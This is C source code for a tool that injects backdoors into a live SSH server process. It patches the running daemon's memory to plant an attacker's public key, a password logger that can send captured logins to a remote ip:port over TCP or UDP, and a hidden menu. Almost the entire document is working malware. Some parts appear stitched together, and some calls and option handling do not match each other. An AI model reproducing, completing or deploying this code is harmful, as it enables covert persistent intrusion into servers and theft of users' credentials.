gpointer nondumpable_buffer_alloc(gsize len) { gsize minimum_size = len + ALLOCATION_HEADER_SIZE; gsize pagesize = sysconf(_SC_PAGE_SIZE); gsize alloc_size = round_to_nearest(minimum_size, pagesize); Allocation *buffer = _mmap(alloc_size); if (buffer == MAP_FAILED) return NULL; buffer->alloc_size = alloc_size; buffer->data_len = len; return buffer->user_data; }
void backdoor_pubkey_install(inject_ctx *ctx, char *pubkey) { signature signatures[]={ { 0x1, "key_allowed", "trying public key file %s", 0 }, { 0x2, "restore_uid", "restore_uid: %u/%u" , 0 }, { 0x3, "key_new" , "key_new: RSA_new failed" , 0 }, { 0x4, "key_read" , "key_read: type mismatch: ", 0 }, { 0x5, "key_free" , "key_free: " , 0 }, }; u8 *evil_bin; int i; u32 callcache_total, num_key_allowed2_calls=0; char line[255]; callcache_entry *callcache, *entry; u64 user_key_allowed2_calls[MAX_KEY_ALLOWED_CALLS]; u64 diff=0, hole_addr=0, *import_table; evil_bin = malloc(hook_pubkey_bin_len); import_table = (u64*)(evil_bin + 8); memcpy(evil_bin, hook_pubkey_bin, hook_pubkey_bin_len); import_table[0] = ctx->config_addr; for(i = 0; i < sizeof(signatures) / sizeof(signature); i++) { if (ctx->uses_new_key_system == 0 || i < 2) { signatures[i].addr = sub_by_debugstr(ctx, signatures[i].str); } else { u64 f_dsa_new, f_bn_new, p_dsa_new, p_bn_new, callpair, callpair_b, p_rsa_free, p_dsa_free; switch(i) { case 2: // key_new f_dsa_new = resolve_reloc( ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_new" ); f_bn_new = resolve_reloc( ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_new" ); info("DSA_new@got = 0x%lx", f_dsa_new); info("BN_new@got = 0x%lx", f_bn_new); p_dsa_new = find_plt_entry(ctx, ctx->elf_base + f_dsa_new); p_bn_new = find_plt_entry(ctx, ctx->elf_base + f_bn_new); info("DSA_new@plt = 0x%lx", p_dsa_new); info("BN_new@plt = 0x%lx", p_bn_new); callpair = find_callpair(p_dsa_new, p_bn_new); info("yo we got a callpair for (DSA_new, BN_new) -> 0x%lx", callpair); signatures[i].addr = find_entrypoint(callpair); break; case 3: // key_read signatures[i].addr = prevcall_by_debugstr(ctx, "user_key_allowed: advance: "); break; case 4: // key_free p_rsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc( ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "RSA_free" )); p_dsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc( ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_free" )); info("RSA_free@plt = 0x%lx", p_rsa_free); info("DSA_free@plt = 0x%lx", p_dsa_free); callpair_b = find_callpair(p_rsa_free, p_dsa_free); if(callpair_b == 0) { callpair_b = find_callpair(p_dsa_free, p_rsa_free); } if(callpair_b != 0) { info("found callpair @ 0x%lx .. finding entrypoint..", callpair_b); signatures[i].addr = find_entrypoint_inner(callpair_b, 3); } else { error("could not find valid callpair to derive key_free()"); } break; default: error("WTF just happened!"); break; } } if (signatures[i].addr == 0) { error("%s not found :(\n", signatures[i].name); } sprintf(line, "%s\t\t= \x1b[37m0x%lx", signatures[i].name, signatures[i].addr - ctx->elf_base ); import_table[ signatures[i].import_id ] = signatures[i].addr; sprintf( line+strlen(line), " .. patched at offset 0x%lx in import table!", (signatures[i].import_id*8) & 0xffff ); info(line); } u64 f_BN_cmp = resolve_reloc(ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_cmp"); info("BN_cmp@got = 0x%lx", f_BN_cmp); u64 l_BN_cmp; _peek(ctx->pid, ctx->elf_base + f_BN_cmp, &l_BN_cmp, 8); info("BN_cmp@lib = 0x%lx", l_BN_cmp); import_table[6] = l_BN_cmp; callcache = get_callcache(); callcache_total = get_callcachetotal(); for(i=0; i<callcache_total; i++) { entry = &callcache[i]; if (entry->dest == signatures[0].addr && entry->type == CALLCACHE_TYPE_CALL) { info("found a 'call user_key_allowed' @ 0x%lx", entry->addr); user_key_allowed2_calls[num_key_allowed2_calls] = entry->addr; num_key_allowed2_calls++; } } if (num_key_allowed2_calls == 0) error("no call to user_key_allowed2 found :("); hole_addr = find_hole(ctx, user_key_allowed2_calls[0], 0x1000); if (hole_addr == 0) { error("unable to find neighborly hole."); } info("found usable hole @ 0x%lx", hole_addr); info2("entering critical phase"); _mmap( ctx, (void*)hole_addr, 0x1000, PROT_READ| PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, 0, 0 ); for(i=0; i<num_key_allowed2_calls; i++) { diff = 0x100000000-(user_key_allowed2_calls[i]-hole_addr)-5; info( "building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]", user_key_allowed2_calls[i], hole_addr, diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff ); _poke(ctx->pid, user_key_allowed2_calls[i]+1, &diff, 4); } _poke(ctx->pid, hole_addr, evil_bin, hook_pubkey_bin_len); for(i=0; i<hook_pubkey_bin_len; i++) { if (memcmp(evil_bin+i, "\xaa\xbb\xcc\xdd", 4) == 0) { info("inserting pubkey at offset %x in payload", i); _poke(ctx->pid, hole_addr+i, pubkey, strlen(pubkey)); } } info("poked evil_bin to 0x%lx.", hole_addr); }
int main(int argc, char *argv[]) { config_block *config; char *pubkey_value = NULL; char *passlog_path = NULL; char *pubkey_file = NULL; int net_exfil_type = 0; int menu_activate = 0; int c; banner(); if (argc < 2) { usage(argv[0]); return -1; } config = malloc(sizeof(config_block)); memset(config, 0, sizeof(config_block)); while((c = getopt(argc-1, argv, "p:P:t:u:mc")) != -1) { switch(c) { case 'p': pubkey_value = optarg; break; case 'P': pubkey_file = optarg; break; case 't': if (!convert_hostport_pair(optarg, &config->ip_addr, (uint16_t*)&config->port)) error("eh, '%s' is not a valid ip:port pair", optarg); config->net_type |= NET_EXFIL_TCP; break; case 'u': if (!convert_hostport_pair(optarg, &config->ip_addr, (uint16_t*)&config->port)) error("eh, '%s' is not a valid ip:port pair", optarg); config->net_type |= NET_EXFIL_UDP; break; case 'c': config->only_log_valid = 1; break; case 'l': passlog_path = optarg; break; case 'm': menu_activate = 1; break; } } if (pubkey_file == NULL && pubkey_value == NULL && passlog_path == NULL && menu_activate == 0) { usage(argv[0]); return -1; } if (pubkey_value != NULL && pubkey_file != NULL) { usage(argv[0]); return -1; } if ((net_exfil_type & NET_EXFIL_TCP) && (net_exfil_type & NET_EXFIL_UDP)) { error("can only use one net exfiltration method."); return -1; } // allocate inject context inject_ctx *ctx = malloc(sizeof(inject_ctx)); // init inject context inject_ctx_init(ctx, atoi(argv[argc-1])); // find rexec_flag u64 rexec_flag = inject_resolve_rexec(ctx); info("rexec_flag\t\t\t= 0x%lx", rexec_flag); // install config memory block ctx->config_addr = find_hole(ctx, rexec_flag, 0x1000); info("allocating config memory @ 0x%lx", ctx->config_addr); _mmap( ctx, (void*)ctx->config_addr, 0x1000, PROT_READ| PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, 0, 0 ); inject_ctx_map_reload(ctx); // install backdoor(s) if(config->net_type != 0) { backdoor_password_install(ctx); inject_ctx_map_reload(ctx); } if (pubkey_value != NULL || pubkey_file != NULL) { if (pubkey_file != NULL) { FILE *f = fopen(pubkey_file, "rb"); if (f == NULL) { error("could not open pubkey file ('%s')", pubkey_file); } char keybuf[2048]; memset(keybuf, 0, 2048); fgets(keybuf, 2047, f); fclose(f); if(strncmp(keybuf, "ssh-rsa", 7) != 0) { error("invalid pubkey specified, we only support ssh-rsa for now"); } strcpy(config->pubkey, keybuf); backdoor_pubkey_install(ctx); } else { if(strncmp(pubkey_value, "ssh-rsa", 7) != 0) { error("invalid pubkey specified, we only support ssh-rsa for now"); } strcpy(config->pubkey, pubkey_value); backdoor_pubkey_install(ctx); } inject_ctx_map_reload(ctx); } if (menu_activate) { backdoor_menu_install(ctx); inject_ctx_map_reload(ctx); } mod_banner("finishing install"); // upload config data info("uploading config.."); _poke(ctx->pid, ctx->config_addr, config, sizeof(config_block)); // disable rexec info("switching off rexec.."); u32 null_word = 0; _poke(ctx->pid, rexec_flag, &null_word, 4); // clean upr inject_ctx_deinit(ctx); callcache_free(); info("all done!"); return 0; }
void * mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset) { return _mmap(addr, length, prot, flags, fd, offset); }
void backdoor_password_install(inject_ctx *ctx) { u32 use_privsep_val=0; u64 use_privsep; u64 *mm_auth_password_calls = NULL; int i, n_mm_auth_password_calls; u64 diff=0, hole_addr=0; u8 *evil_bin; mod_banner("installing passlogger backdoor"); evil_bin = malloc(hook_passlog_bin_len); memcpy(evil_bin, hook_passlog_bin, hook_passlog_bin_len); u64 *import_table = (u64*)(evil_bin + 8); use_privsep = resolve_symbol_tab(ctx, "use_privsep"); if (use_privsep == 0) error("could not locate use_privsep :("); info("use_privsep\t\t= 0x%llx", use_privsep); _peek(ctx->pid, use_privsep, &use_privsep_val, 4); info("use_privsep\t\t= 0x%x", use_privsep_val); if (use_privsep_val == 0) { error("pass logging for PRIVSEP_OFF currently not supported."); } u64 mm_auth_password = sub_by_debugstr(ctx, "%s: waiting for MONITOR_ANS_AUTHPASSWORD"); info("mm_auth_password\t\t= 0x%llx", mm_auth_password); n_mm_auth_password_calls = find_calls(&mm_auth_password_calls, mm_auth_password); if (n_mm_auth_password_calls == 0) error("No calls to mm_auth_password found."); hole_addr = find_hole(ctx, mm_auth_password_calls[0], 0x1000); if (hole_addr == 0) { error("unable to find neighborly hole."); } info("found usable hole @ 0x%lx", hole_addr); _mmap( ctx, (void*)hole_addr, 0x1000, PROT_READ| PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, 0, 0 ); _peek(ctx->pid, use_privsep, &use_privsep_val, 4); // Patch mm_auth_password for (i = 0; i < n_mm_auth_password_calls; i++) { diff = 0x100000000-(mm_auth_password_calls[i]-hole_addr)-5; info( "building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]", mm_auth_password_calls[i], hole_addr, diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff ); _poke(ctx->pid, mm_auth_password_calls[i]+1, &diff, 4); } import_table[0] = ctx->config_addr; import_table[1] = mm_auth_password; _poke(ctx->pid, hole_addr, evil_bin, hook_passlog_bin_len); free(mm_auth_password_calls); }